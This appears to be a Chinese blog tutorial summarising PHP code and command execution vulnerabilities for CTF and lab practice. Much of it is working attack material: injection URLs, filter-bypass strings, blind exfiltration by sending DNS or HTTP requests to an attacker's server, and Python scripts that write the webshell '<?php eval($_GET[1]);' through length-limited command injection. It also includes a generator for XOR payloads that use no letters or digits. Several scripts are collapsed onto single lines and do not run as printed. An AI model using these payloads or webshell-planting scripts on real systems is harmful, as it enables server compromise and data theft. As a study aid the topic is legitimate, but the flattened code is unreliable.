PHP代码/命令执行漏洞总结
目录
0x00 代码执行相关函数
1.mixed eval(string code_str)
2.bool assert ( mixed $assertion [, string $description ] )
3.mixed call_user_func( callable $callback [, mixed $parameter [, mixed $... ]] )
4.mixed call_user_func_array( callable $callback , array $param_arr)
5.string create_function( string $args, string $code )
6.preg_replace( mixed $pattern , mixed $replacement , mixed $subject [, int$limit = -1 [, int&$count ]] )
7.array array_map( callable $callback , array $array1 [, array $... ] )
8.bool usort( array &$array , callable $value_compare_func)
9.bool uasort( array &$array , callable $value_compare_func)
10.${php代码}
0x01 命令执行相关函数
0x02 命令执行绕过技巧
绕过空格过滤的方法:
0x03 命令无回显的情况
#利用延时
#让目标服务器向我们的服务器发请求
#让目标服务器发送DNS请求
0x04 命令执行漏洞的利用方法
0x05 可控字符串长度受限情况下getshell
15个字符可控
7个字符可控:
5位可控字符:
4位可控字符:
0x06 无字母数字getshell
0x00 代码执行相关函数
由于没有针对代码中可执行的特殊函数入口做过滤,导致用户可以提交恶意语句,并交由服务器端执行。
代码/命令注入攻击中Web服务器没有过滤类似system(),eval(),exec()等函数的传入参数是该漏洞攻击成功的最主要原因。
代码注入相关函数:
1.mixed eval(string code_str)
eval() 把字符串作为PHP代码执行
code_str是PHP代码字符串
2.bool assert ( mixed $assertion [, string $description ] )
assert 检查一个断言是否为FALSE
assertion是字符串,它将会被当做PHP代码来执行
assert("system(pwd)");
echo "123";
assert("eval('echo 888;')");
echo "123";
3.mixed call_user_func( callable $callback [, mixed $parameter [, mixed $... ]] )
callback是将被调用的回调函数,parameter是0个或以上的参数,被传入回调函数。
可以传递任何内置的或者用户自定义的函数
除了array(),echo(),empty(),eval(),exit(),isset(),list(),print() 和unset()
虽然eval不能调用,但是可以通过assert来绕过该限制
同时system函数也是可以调用的
call_user_func("assert","eval('echo 123;')");
call_user_func("system","ifconfig");
4.mixed call_user_func_array( callable $callback , array $param_arr)
callback被调用的回调函数,param_arr要被传入回调函数的数组。
5.string create_function( string $args, string $code )
create_function—Create an anonymous (lambda-style)
functionargs是要创建的函数的参数,code是函数内的代码。
$func = create_function('$param','echo $param;');
$func("hello word");
$func2 = create_function('','phpinfo();');
$func2();
6.preg_replace( mixed $pattern , mixed $replacement , mixed $subject [, int$limit = -1 [, int&$count ]] )
执行一个正则表达式的搜索和替换
/e 修正符使preg_replace将replacement 参数当做PHP 代码
7.array array_map( callable $callback , array $array1 [, array $... ] )
array_map :为数组的每个元素应用回调函数
利用场景:
<?php
highlight_file(__FILE__);
$arr[0] = $_GET['b'];
$func = $_GET['a'];
$ret= array_map($func,$arr);
8.bool usort( array &$array , callable $value_compare_func)
usort 使用用户自定义的比较函数对数组中的值进行排序
<?php
highlight_file(__FILE__);
// var_dump($_GET);
var_dump(...$_GET);
usort(...$_GET);
9.bool uasort( array &$array , callable $value_compare_func)
uasort:使用用户自定义的比较函数对数组中的值进行排序并保持索引关联
使用方法同上
10.${php代码}
${phpinfo()}; 也是可以执行的
0x01 命令执行相关函数
1.string system(string command, int &return_var)
可以用来执行系统命令并将相应的执行结果输出
2.string exec (string command, array &output, int &return_var)
command是要执行的命令,output是获得执行命令结果的全部内容,return_var存放执行命令后的状态值
该函数的返回值只是命令执行结果的最后一行内容。
如果你需要获取未经处理的全部输出数据, 请使用 passthru() 函数。
如果想要获取命令的输出的全部内容, 请确保使用 output 参数。
<?php
$ret = exec("ls",$output);
var_dump($ret); //返回值只是命令执行结果最后一行的内容
var_dump($output); //获取命令执行结果的全部内容
3.void passthru (string command, int &return_var)
直接执行并输出结果
command是要执行的命令,return_var存放执行命令后的状态值
4.string shell_exec (string command)
command是要执行的命令
5. `` 运算符
可以直接执行系统命令
<?php
$a = 'ifconfig';
echo `$a`;
6.bool ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] )
ob_start 打开输出控制缓冲
也就是说当执行echo 函数时,echo函数的参数会先传入ob_start执行的回调函数,
然后将回调函数的结果echo出来
<?php
ob_start('system');
echo "pwd";
ob_end_flush();
经试验:php7.3 该函数真实有效
0x02 命令执行绕过技巧
例如有这样一种情况
如何去实现命令执行?
利用系统分割符:
- 换行符 %0a
- 回车符 %0d(没成功)
- 连续指令 ;
- 后台进程 &
- 管道符 |
- (逻辑?)|| &&
上题可以使用的方式:
http://localhost:8888/xss/assert.php?a=%0apwd
http://localhost:8888/xss/assert.php?a=;pwd
http://localhost:8888/xss/assert.php?a=|pwd
绕过空格过滤的方法:
可以代替空格的符号:
<
${IFS}
%09 用于url传递,是\t的url编码
cat<index.html
cat${IFS}index.html
cat$IFS'index.html'
cat$IFS$1index.html
cat$IFS$2index.html
...
其他一些绕过思路:
1.命令拼接:
2.用base64对命令进行编码,然后在执行前对命令进行base64解码
反引号中的值会作为命令执行
3.substr string pos len
该表达式是从string中取出从pos位置开始长度为len的子字符串。如果pos 或len为非正整数时,将返回空字符串。
expr 是一个计算器,用于字符串可以抓取字符串的值
> expr substr “this is a test” 3 5
is is
/
echo "${PATH:0:1}”
echo "`expr$IFS\substr\$IFS\$(pwd)\$IFS\1\$IFS\1`"
echo `$(expr${IFS}substr${IFS}$PWD${IFS}1${IFS}1)`
expr${IFS}substr${IFS}$SESSION_MANAGER${IFS}6${IFS}1
$PWD是从环境变量中读取
$(pwd)是一条命令
0x03 命令无回显的情况
判断命令是否执行方法:
延时
HTTP请求
DNS请求
#利用延时
ls|sleep 3
例如:
<?php
highlight_file(__FILE__);
exec("echo 123".$_GET['a']);
#让目标服务器向我们的服务器发请求
比如我们的服务器上用nc开一个端口
让目标服务器
用curl 我们的服务器地址:端口 去向我们的服务器发送一个http请求
如果命令成功执行,我们这边就能收到http请求
#让目标服务器发送DNS请求
可以让目标服务器用
nslookup 我们控制的dns服务器域名
发送dns域名解析请求(可以用http://ceye.io的dns服务器)
如果命令成功执行,这边就会收到dns请求
0x04 命令执行漏洞的利用方法
#写shell
#用http/dns等方式带出数据
可以用sed将文件中空格剔除掉,然后将文件内容拼接到ceye.io 给你分配的域名前,然后
ping这个域名,附带发出dns请求
结果:
局限性:文件内容不能太长
0x05 可控字符串长度受限情况下getshell
15个字符可控
思路:虽然限制了使用命令的字数,但是没有显示使用命令的次数
touch 1
然后将"<?php eval($_GET[1]);"分多次追加写入该文件
echo \<?php >1
echo 'eval'>>1
echo '($_GET'>>1
echo '[1])'>>1
echo ';'>>1
因为>>追加写会自动换行,所以每行必须确保关键字完整。
mv 1 1.php
一个简单的利用代码:
import requests base_url = "http://localhost:8888/loophole-recurrence/codeexe/15.php?1="def split_list_by_n(list_collection, n):"""按照长度分割字符串为数组"""arr = []for i in range(0, len(list_collection), n):arr.append(list_collection[i: i + n]) return arrdef touchFile(filename):url = "%stouch %s"%(base_url,filename)requests.get(url)def renameFile(filename):url = "%smv %s %s.php"%(base_url,filename,filename)requests.get(url)def writePayload(payload,filename,limit_len):str = "echo ''>>%s"%(filename)base_len = len(str)if(base_len > limit_len):print("长度不够")exit(0)eff_len = limit_len-base_lenpayload_list = split_list_by_n(payload,eff_len)for p in payload_list:url = "%secho '%s'>>%s"%(base_url,p,filename)requests.get(url)def writer(payload,limit_len):filename='1'touchFile(filename)writePayload(payload,filename,limit_len)renameFile(filename)if __name__=='__main__':payload = "<?phpeval($_GET[1]);"writer(payload,15)
7个字符可控:
如果只有7个字符可控,那么用echo ''>> 这种写入文件的方法显然是不行的
必须寻找其他思路
思路:
除了touch 可以创建文件,直接用>文件名也可以创建文件,而且命令字符数更短
ls>文件名 则可以将当前目录下的所有文件名分行写入我们创建的文件
ls -t 基于时间排序,最新的文件排在最前面
sh 文件名 则会将文件中的内容做为shell代码来执行
长命令可以利用 \ 来换行分割
demo:
为了避免一些敏感字符的转义问题,可以使用base64先将payload编码
过程:
1.准备payload
2.将payload分割成数组,将该数组逆序调整一下(因为ls -t 是将最新创建的文件放在最前面)
3.遍历数组,发送创建文件的请求
4.发送创建shell脚本的请求
5.发送执行shell脚本的请求
一个更完善的利用脚本:
'''
Date: 2021-02-04 13:17:12
LastEditors: 无在无不在
LastEditTime: 2021-02-04 15:57:00
'''
import requests
import base64base_url = "http://localhost:8888/loophole-recurrence/codeexe/7.php?1="def split_list_by_n(list_collection, n):"""按照长度分割字符串为数组"""arr = []for i in range(0, len(list_collection), n):arr.append(list_collection[i: i + n]) return arrdef touchFile(filename):url = "%stouch %s"%(base_url,filename)requests.get(url)def renameFile(filename):url = "%smv %s %s.php"%(base_url,filename,filename)requests.get(url)def writePayload(payload,filename,limit_len):str = "echo ''>>%s"%(filename)base_len = len(str)eff_len = limit_len-base_lenpayload_list = split_list_by_n(payload,eff_len)for p in payload_list:url = "%secho '%s'>>%s"%(base_url,p,filename)requests.get(url)def createShellPayloadSliceList(php_payload,limit_len):"""通过php_payload生成对应shell_payload切片数组"""base64_php_payload = base64.b64encode(php_payload.encode('utf-8')).decode("utf-8")sh_payload = "echo %s|base64 -d>2\.php"%(base64_php_payload)base_len = len(">''\\")eff_len = limit_len-base_lenpayload_list = split_list_by_n(sh_payload,eff_len)payload_list.reverse()return payload_listdef create_file_list(php_payload,limit_len):"""将payload分割为文件列表"""payload_list = createShellPayloadSliceList(php_payload,limit_len)for i in range(len(payload_list)): if(i!=0):url = "{base_url}>'{payload_slice}\\'".format(base_url=base_url,payload_slice=payload_list[i])else:url = "{base_url}>{payload_slice}".format(base_url=base_url,payload_slice=payload_list[i])requests.get(url)
def createShellScript(filename):"""将文件列表写入sh脚本"""url = "{base_url}ls -t>{filename}".format(base_url=base_url,filename=filename)requests.get(url)def executeShellScript(filename):"""执行shell脚本"""url ="{base_url}sh {filename}".format(base_url=base_url,filename=filename)requests.get(url)def slice_writer(payload,limit_len):"""通过分割写的方法写入文件"""payload = payload.replace(" ","")filename='1'# 1.创建文件touchFile(filename)# 2.将payload切割,分多次写入文件writePayload(payload,filename,limit_len)# 3.将该文件重命名为php文件renameFile(filename)def ls_writer(php_payload,limit_len):"""通过ls的方法写入文件"""# 1.将payload切割,以切片为文件名生成一堆文件create_file_list(php_payload,limit_len)filename ='0'# 2.将一堆文件名写入一个shell文件createShellScript(filename)# 3.执行该shell文件,即执行payloadexecuteShellScript(filename)def main():limit_len = 7payload = "<?php eval($_GET[1]);"if(limit_len>=15):slice_writer(payload,limit_len)elif(limit_len>=7):ls_writer(payload,limit_len)else:passif __name__=='__main__':main()
脚本生成的shell文件 0
0
ech\
o P\
D9w\
aHA\
gZX\
Zhb\
Cgk\
X0d\
FVF\
sxX\
Sk7\
|ba\
se6\
4 -\
d>2\
\.p\
hp
exploite.py
7.php
15.php
5位可控字符:
因为ls -t>0 有7位,所以上述代码执行的最低要求:可控命令长度有7位
思路:通过追加写确保顺序
>ls\\
ls>a
>\ \\ 加一个空格
>-t\\
>\>0
ls>>a
4位可控字符:
ls -t >0
思路:
第一步:创建以下文件:
>dir
>f\>
>pt-
>sl
第二步
输入*>v,这样就会执行dir命令,并将结果写入v
第三步
>rev 创建rev文件
*v>0 这样就会执行 rev v>0 即:
sh 0 就会执行该代码
为什么用dir而不用ls:
这就是用dir的原因
0x06 无字母数字getshell
核心思想:如何通过无字母数字来生成字母数字
将非字母、数字的字符经过各种变换,最后能构造出a-z中任意一个字符
例题:
<?php
if(isset($_GET['code'])){$code = $_GET['code'];if(strlen($code)>40){die("Long");}if(preg_match('/[A-Za-z0-9]+/',$code)){die("NO");}@eval($code);
}else{highlight_file(__FILE__);
}
思路:
非字母、数字字符 的ascii码经过异或可以生成字母的ascii码
<?php
/** @Date: 2021-02-06 14:22:10* @LastEditors: 无在无不在* @LastEditTime: 2021-02-06 14:43:46*/
$a = '`~!@#$%^&*()_+{}:"|<>?.\,[]\'';
$AZ=[];
$az=[];
$digits=[];
for($i=0;$i<strlen($a);$i++){for($j=0;$j<strlen($a);$j++){$result = ord($a[$i]^$a[$j]);if($result>=ord('A')&&$result<=ord('Z')){$info = $a[$i].'xor'.$a[$j].'='.chr($result);$AZ[chr($result)][] = $info;}elseif($result>=ord('a')&&$reuslt<=ord('z')){$info = $a[$i].'xor'.$a[$j].'='.chr($result);$az[chr($result)][] = $info;}elseif($result>=ord('0')&&$result<=ord('9')){$info = $a[$i].'xor'.$a[$j].'='.chr($result);$digits[chr($result)][] = $info;}}
}
echo "<pre>";
var_dump($AZ);
var_dump($az);
var_dump($digits);
echo "</pre>";
一个简单的利用脚本:
<?php
$a = '`~!@#$%^()_+{}:"<>?.\,=[]';
$words=[];
for($i=0;$i<strlen($a);$i++){for($j=0;$j<strlen($a);$j++){$xor = ord($a[$i]^$a[$j]);if(($xor>=ord('A')&&$xor<=ord('Z'))||($xor>=ord('a')&&$xor<=ord('z'))||($xor>=ord('0')&&$xor<=ord('9'))){$words[chr($xor)][] = [$a[$i],$a[$j]];}}
}
function generatePayloads($str,$words){$right = '';$left ='';for($i=0;$i<strlen($str);$i++){$w = $str[$i];$right.=$words[$w][0][0];$left .=$words[$w][0][1];}return "'$right'^'$left'";
}
$ret = generatePayloads("getFlag",$words);
$base_url = 'http://127.0.0.1:8888/loophole-recurrence/CodeExe/eval.php?code=';
$payload = '$_='.$ret.';$_();';
$url = $base_url.$payload;
$resp = file_get_contents($url);
var_dump($resp);
PHP代码/命令执行漏洞总结相关推荐
- [ web 漏洞篇 ] 常见web漏洞总结之 RCE 远程代码 / 命令执行漏洞总结
- 30.WEB漏洞-RCE代码及命令执行漏洞
30:WEB漏洞-RCE代码及命令执行漏洞 参考文章:https://www.cnblogs.com/zhengna/p/15775737.html 本文为博主学习复现笔记 文章目录 30:WEB漏洞 ...
- python直接执行代码漏洞_修复Python任意命令执行漏洞
Author:JoyChou@美丽联合安全 Date:20180605 1. 前言 今天遇到一个不好做白名单的Python命令执行漏洞修复的问题.由于是shell=True导致的任意命令执行,一开始大 ...
- Hack The Box - Meta 利用Exiftool远程代码执行漏洞获取webshell,ImageMagrick命令执行漏洞横向提权,更改环境配置SUDO纵向提权
Hack The Box - Meta Hack The Box开始使用流程看这篇 文章目录 Hack The Box - Meta 整体思路 1.Nmap扫描 2.Exiftool远程代码执行漏洞( ...
- 远程命令执行漏洞与远程代码执行漏洞33333
远程命令执行漏洞的概念 远程命令执行漏洞,指用户通过浏览器提交执行操作命令, 由于服务器端,没有针对执行函数做过滤,就执行了恶意命令 远程代码执行漏洞概念 代码执行漏洞也叫代码注入漏洞,指用户通过浏览 ...
- REC代码及命令执行漏洞
RCE代码及命令执行漏洞 1.RCE介绍 全称:remote command/code execute 分为远程命令执行和远程代码执行 1.命令执行漏洞: 直接调用操作系统命令 代码执行漏洞: 靠执行 ...
- WEB漏洞—RCE 代码及命令执行漏洞
什么是RCE? 指的是远程命令/代码执行(remote command/code execute) 在 Web 应用中有时候程序员为了考虑灵活性.简洁性,会在代码调用代码或命令执行函数去处理.比如当应 ...
- RCE代码及命令执行漏洞简解
在 Web 应用中有时候程序员为了考虑灵活性.简洁性,会在代码调用 代码或命令执行函数去处理.比如当应用在调用一些能将字符串转化成代 码的函数时,没有考虑用户是否能控制这个字符串,将造成代码执行漏 洞 ...
- 第30天-WEB 漏洞-RCE 代码及命令执行漏洞全解
在 Web 应用中有时候程序员为了考虑灵活性.简洁性,会在代码调用代码或命令执行函数去处理.比如当应用在调用一些能将字符串转化成代码的函数时,没有考虑用户是否能控制这个字符串,将造成代码执行漏洞.同样 ...
最新文章
- 怎么判断膝关节错位_路走多了,膝盖疼是怎么回事?
- TFLearn MNIST
- 乒乓球十一分制比赛规则_乒乓球竞赛规则 赛制和比赛规则
- redhat linux 设置ip,REDHAT LINUX企业版更改IP地址,网关,DNS和MAC地址----字符界面
- 【精品毕设】电力电子仿真——母线继电保护动作行为仿真分析系统
- 读书笔记《TAOCP》 V1 S1.1
- 测试用例的设计要素以及设计测试用例的方法
- 服装网站建设策划书-服装网站建设目的需求分析策划书
- 图片相似原理 - Java实现
- Mysql的INTERVAL()函数和INTERVAL关键字
- 天 下 难 事 , 必 作 于 易 , 天 下 大 事 , 必 作 于 细 -道德经的哲学
- 家谱宗族网站源码_家谱管理系统(源代码)
- getchar()函数的作用
- 隆重公有化财团成员交恶 中绒遭深交所询问
- 《后端》开放平台API安全设计
- 娇兰佳人匠心打造全新品牌 智美试妆镜助力智能领跑
- 计算机毕业设计ssm社区生鲜电商平台dq96z系统+程序+源码+lw+远程部署
- IOS label设置多行显示并且文字在最上方显示
- 大数据在油气行业的应用前景展望(二)
- java 中的socket_Java中Socket用法详解
热门文章
- Minitab 19.1.0.1 x64 中文免费版
- 第15课:Spark Streaming源码解读之No Receivers彻底思考
- ssm基于Android社区生鲜O2O订购系统设计与实现毕业设计源码231443
- UG二次开发初探:捕捉点生成块
- API 和 SDK 的区别
- 通信原理与MATLAB(九):DPSK的调制解调
- 京东商城颁布退还两周内iPad一代购置差价
- 性格测试c语言程序,性格测试题目及答案
- 测绘技术设计规定最新版_测绘标准及规范(附带下载)
- php有什么用可以定时发微博,php人性化时间(类似微博)转换两组